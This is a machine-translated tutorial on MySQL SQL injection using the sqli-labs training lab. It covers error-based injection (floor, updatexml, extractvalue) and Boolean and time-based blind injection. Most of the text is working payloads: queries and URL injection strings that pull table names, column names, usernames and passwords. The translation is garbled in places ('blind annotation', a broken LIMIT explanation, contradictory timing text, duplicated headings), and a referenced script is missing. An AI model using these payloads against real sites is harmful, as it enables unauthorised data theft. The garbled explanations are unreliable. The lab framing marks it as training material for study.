The so-called SQL injection is to insert the SQL command into the query string of web form submission or input domain name or page request, and finally to cheat the server to execute malicious SQL command.
Test database
In this paper, we use the following database as the test database to complete our injection analysis.
correlation function
Before learning blind annotation, you should first understand the functions involved in the SQL blind annotation and how to use them.
Mid () -- extract characters from text fields
SELECT MID(column_name,start[,length]) FROM table_name;
Column name is required. The field to extract the character.
Start is required. Specify the start position (the start value is 1).
Length is optional. The number of characters to return. If omitted, the mid() function returns the remaining text.
Limit() -- return the first or middle rows of data
select * from table limit m,n;
Its m is the beginning of the record index0 is the beginning of the record n is the beginning of the M + 1 n
concat、concat_ws、group_concat
When the concat function of MySQL connects strings, as long as one of them is null, it will return null
Unlike concat, the concat? WS function does not return null because of a null value when it is executed
Group concat ([DISTINCT] field to connect [Order BY ASC/DESC sort field] [Separator 'separator'])
Count() -- aggregate function, count the number of primitives
Rand () -- used to generate a random number of 0 ~ 1
Floor() -- round down
Group by --- group the results according to the rules we want
Length () -- returns the length of the string
Substr() -- three parameters of intercepting string (the string to be intercepted, the position to be intercepted, and the length to be intercepted)
Ascii() -- ASCII code of return string
Error injection
Based on floor, updatexml (with length limit, the longest 32 bits), and extractvalue (with length limit, the longest 32 bits), error is injected.
Floor reported wrong
- Get database
Get database
mysql> select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
- Get table name
Get table name
mysql> select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
- Get field name
Get field name
mysql> select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
- Get content
Get content
mysql> select count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~users'
- Get field
Get field
mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~password'mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~user'
- Get content
Get content
mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 0,1)),0);ERROR 1105 (HY000): XPATH syntax error: mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 1,1)),0);ERROR 1105 (HY000): XPATH syntax error:
ERROR 1105 (HY000): XPATH syntax error:
Extractvalue error
- Get table name
Get table name
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));ERROR 1105 (HY000): XPATH syntax error:
ERROR 1105 (HY000): XPATH syntax error:
- Get field
Get field
mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));ERROR 1105 (HY000): XPATH syntax error:
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));ERROR 1105 (HY000): XPATH syntax error:
ERROR 1105 (HY000): XPATH syntax error:
- Get field
Get field
mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));ERROR 1105 (HY000): XPATH syntax error:
ERROR 1105 (HY000): XPATH syntax error:
Based on Boolean blind annotation
By constructing SQL statements, we can guess the data by judging whether the statements are executed successfully.
- View table name
View table name
mysql> select table_name from information_schema.tables where table_schema=database() limit 0,1;
- Get the first character of the table name
Get the first character of the table name
mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m;
mysql> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;
Getting the field name is the same as getting the field content.
Taking sqli labs less8 as an example, no matter what is input, there are only right and wrong, so we can judge blind annotation based on Boolean.
- Determine the length of the current database first
Determine the length of the current database first
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+
It is found that when the value is 8, the page does not display. So the length of database () is 8
- Get database name
Get database name
You can use the following script to guess the database name:
- Get table length
Get table length
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
It is found that when the value is 6, the page does not display. So the length of the table is 6
- Get table name
Get table name
Similar to the above, just change the payload to the following:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23
- Get column names
Get column names
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1} %23"
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),{0},1))>{1} %23"
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),{0},1))>{1} %23"
Blind injection based on time
Based on the principle that when the database is queried, if the query conditions do not exist, the statement execution time is 0. But often the statement execution speed is very fast, the thread information flashes, and the execution time is basically 0. But if the condition of the query statement does not exist, the execution time is 0. Using this function as a special property, we can use the time delay to determine whether our query exists. This is how SQL blind injection works based on time delay
First understand the following statement:
if(database()=’security’,1,2)
Judge whether the database name is security, return 1 correctly and 2 wrongly. Time based injection is similar to Boolean based injection, and if statement is introduced for judgment.
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117,sleep(5),NULL) m;
1 row in set (0.00 sec)
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),NULL) m;
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>9,0,sleep(5)) --+
- Get database name by dichotomy
Get database name by dichotomy
The remaining steps are similar to those based on Boolean, except that an if judgment statement is added for judgment.
- Get table name:
Get table name:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1},0,sleep(5)) %23"
- Get column name:
Get column name:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1},0,sleep(5)) %23"
- Get content:
Get content:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select password from users limit 0,1),{0},1))>{1},0,sleep(5)) %23"